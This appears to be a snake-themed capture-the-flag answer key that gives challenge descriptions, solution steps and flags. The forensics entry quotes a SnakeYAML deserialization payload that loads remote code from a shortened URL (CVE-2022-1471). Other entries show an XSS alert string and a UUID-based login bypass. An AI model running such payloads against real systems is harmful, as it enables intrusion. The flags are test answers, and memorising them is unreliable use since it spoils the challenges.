- (CRYPTO) Pattern Recognition
  - Description
    - This snake's got some funny patterns on its back! Can you help me decipher them?
  - Solution:
    - Binary to ASCII so use Cyberchef or any other online decoder
  - Flag:
    - CTF{ssssuper_secret}
- (OSINT) Geolosnake
  - Description
    - Finish the Toy Story quote: "There's a snake in my _____!"

      Make sure to wrap the missing word in CTF{} and put the word in all lowercase.
  - Solution
    - Google (or just know) the Woody quote
  - Flag:
    - CTF{boot}
- (RE) Ancient Antidote
  - Description
    - Help! I've been bitten by a snake and I think it was poisonous! This ancient program allegedly contains the antidote though… if only I could read it.
  - Solution
    - Read through the if statements, see it's comparing each character of the flag to its decimal value. Use Decimal -> ASCII converter to recover the flag
  - Flag:
    - CTF{w4lk_it_0ff}
- (OSINT) Totally Lucky
  - Description
    - I was so lucky my antivirus detected a malicious file on my laptop with the hash: a259082f33573151375ea00df28468fd

      I want to know more about it, though. This file makes a shell command with a URL inside of it. What is the full URL contained?

      Format the flag as: CTF{http://domain.tld/file.extension}
  - Solution
    - Lookup hash on virus total, go to behavior tab, scroll down to shell commands
- (RE) Slithery
  - Description:

        - I was writing a cool program to do some super special encryption, but before I wrote the decryption function, a snake slithered onto my keyboard and broke it! I already encrypted some data with it, but now I can't get it back! Can you help? ENCRYPTED DATA: 209 260 218 377 257 236 155 260 224 161 254 275 293 257 242 164 233 161 383
    - Solution:
        - Reverse code to see that for each number, you need to subtract 8, divide by 7, and convert to ascii and print that to show the flag
    - Flag:
        - CTF{SL1TH3RY_SN4K3}
- (MISC) Shrink
    - Description
        - This snake used to be so huge … what happened to it ..?
    - Solution:
        - It is a tared and gzipped file. Unzip to find the flag
    - Flag:
        - CTF{EXPANDDDDDDDDDD}
- (Forensics) The Slippery Snake
    - Description
        - Analyze the logs to uncover the payload the attacker used and identify the exploited CVE to get the flag, CTF{CVE-YYYY-NNNN}
    - Solution:
        - 500 error in access log → 192.168.1.105 - - [22/Jan/2025:14:34:12 +0000] "POST /process-yaml HTTP/1.1" 500 0 "-" "Python-urllib/3.9"
        - Use timestamp (14:34:12) to see the deserialization error, fake malicious payload in application log → !!javax.script.ScriptEngineManager [!!java.net.URL ["http://bit.ly/3explt"]]
    - Flag:
        - CTF{CVE-2022-1471}

- (Forensics) Lunar Light
    - Description
        - Sometimes you need more than just moonlight to really see an image!
    - Solution
        - `file lunar` to see it is a png, change extension to .png
        - `exiftool` on the image and see comment saying they love editing photos with high contrast
        - Upload image to some online tool to change image contrast (reduce contrast as much as possible) and flag is legible if you really zoom in and look
    - Flag:
        - CTF{M00NLIT_R3V3AL}

- (Web) Paths to Prosperity

    - Description:
        - Can you find where I've hidden my flag?
    - Solution
        - Look at source code, see css file in location /secret/assets
        - Manipulate the URL to navigate to /secret, see location /supersecret in source code
        - Navigate to /supersecret, and page hints that you need to make it alert
        - Submit <script>alert();</script> to the page, get the flag
    - Flag
        - CTF{traversing_new_paths}

- (WEB) Python's passwords
    - Description:
        - I heard passwords are insecure, so my site doesn't use them!
    - Solution:
        - Analyze the source code; admin123 needs to be the username entered in the website to navigate to the correct /<uid> path, but there is a check that prevents this
        - Bypass this by calculating the UID5 of leet and admin123 and then just navigate to that path by replacing the end of the url with the uid
            - `Import uuid`
            - `leet=uuid.UUID('13371337-1337-1337-1337-133713371337')`
            - `str(uuid.uuid5(leet,'admin123'))`
        - The above commands are from the source code. Running this python code will give you the value of the path to navigate to, which is 3c68e6cc-15a7-59d4-823c-e7563bbb326c
    - Flag:
        - CTF{N3W_YEAR_STILL_P4SSW0RDS}

- (Rev) Snake
    - Description:
        - Can you beat this game?
        - Hint: Use Game Conquerer!
    - Solution:
        - Download Game Conquerer
        - Run the snake game and attach Game Conquerer to the running process
        - Earn a handful of points (170 and up makes it easiest), pause the game, and search for that game point value to see where it is stored in memory
        - Change the value of the score to 16525, which is needed to win
        - Continue playing, and you will win the game and it will print out the flag
    - Flag:
        - CSCTF{Y0u_b34T_My_Sl1th3r_G4m3!}
        - CTF{Y0u_b34T_My_Sl1th3r_G4m3!}